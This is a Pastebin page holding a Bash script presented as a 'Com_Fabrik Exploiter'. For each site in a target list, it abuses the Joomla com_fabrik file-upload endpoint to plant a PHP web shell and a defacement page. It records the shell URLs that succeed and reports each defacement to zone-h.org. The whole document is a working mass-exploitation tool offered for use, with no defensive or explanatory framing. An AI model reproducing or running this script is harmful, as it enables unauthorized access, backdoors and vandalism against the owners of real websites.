Advertisement
ccocot

com_fabrikbot.sh

Dec 9th, 2017
448
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.54 KB | None | 0 0
  1. #!/bin/bash
  2. # CODE BY CCOCOT
  3. # TQ FOR INDONESIA CODE PARTY
  4. # CCOCOT@BC0DE.NET
  5.  
  6. header(){
  7. cat << "EOF"
  8.              ____   ____ ___  ____  _____   _   _ _____ _____
  9.             | __ ) / ___/ _ \|  _ \| ____| | \ | | ____|_   _|
  10.             |  _ \| |  | | | | | | |  _|   |  \| |  _|   | |  
  11.             | |_) | |__| |_| | |_| | |___ _| |\  | |___  | |  
  12.             |____/ \____\___/|____/|_____(_)_| \_|_____| |_|  
  13.  
  14.                 Com_Fabrik Exploiter
  15.                 Ccocot | ccocot@bc0de.net
  16.                 Thank For Indonesia Code Party
  17. EOF
  18. }
  19.  
  20. com_fabrik(){
  21.     printf "[?] Website : ${web}\n"
  22.     local ngeshell=$(timeout 10 curl -s -L -F "file=@${1}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
  23.     if [[ $ngeshell =~ "${1}" ]]; then
  24.         printf "[+] Upload Shell ...... Berhasil [${2}/${1}] !\n"
  25.         echo "http://${2}/${1}" >> shel.txt
  26.     else
  27.         printf "[com_fabrik] [!] Upload Shell ...... Gagal !\n"
  28.     fi
  29.     local ngescript=$(timeout 10 curl -s -L -F "file=@${3}" "${2}/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload")
  30.     if [[ $ngescript =~ "${3}" ]]; then
  31.         printf "[com_fabrik] [+] Upload Script Deface ...... Berhasil [${2}/${3}] !\n"
  32.         echo "http://${2}/${3}" >> sc.txt
  33.         return 0
  34.     else
  35.         printf "[com_fabrik] [!] Upload Script Deface ...... Gagal !\n"
  36.         return 1
  37.     fi
  38. }
  39.  
  40. nge_zh(){
  41.     local submit=$(curl -s "http://www.zone-h.org/notify/single" -d "defacer=${1}&domain1=${2}&hackmode=1&reason=1" \
  42.     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" \
  43.     -H "Referer: http://www.zone-h.org/notify/single" \
  44.     -H "Origin: http://www.zone-h.org")
  45.     if [[ $submit =~ "color=\"red\">OK<" ]]; then
  46.         echo "${2}" >> zh.txt
  47.         printf "[+] Zone-H ...... OK [${1}] (${2}) !\n"
  48.     else
  49.         printf "[!] Zone-H ...... ERROR [${1}] (${2}) !\n"
  50.     fi
  51. }
  52.  
  53. if [ -z $1 ]; then
  54.     header
  55.     printf "\n To Use $0 <file.txt> <nick> <shell.php> <script.html>\n"
  56.     exit 1
  57. fi
  58.  
  59. header
  60.  
  61. sc=${4}
  62. shell=${3}
  63. nick=${2}
  64.  
  65. printf "\nNickname: ${nick}\n"
  66. printf "Shell File: ${shell}\n"
  67. printf "Script Deface: ${sc}\n\n"
  68.  
  69. # OPTIONAL
  70. persend=20
  71. setleep=5
  72.  
  73. itung=1
  74.  
  75. IFS=$'\r\n' GLOBIGNORE='*' command eval 'web=($(cat $1))'
  76. for (( i = 0; i < "${#web[@]}"; i++ )); do
  77.  
  78.     set_kirik=$(expr $itung % $persend)
  79.     if [[ $set_kirik == 0 && $itung > 0 ]]; then
  80.         sleep $setleep
  81.     fi
  82.  
  83.     web="${web[$i]}"
  84.  
  85.     urlsc_comfabrik="${web[$i]}/${sc}"
  86.     if com_fabrik ${shell} ${web} ${sc} ; then nge_zh ${nick} ${urlsc_comfabrik} ;fi &
  87.  
  88.     itung=$[$itung+1]
  89. done
  90. wait
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement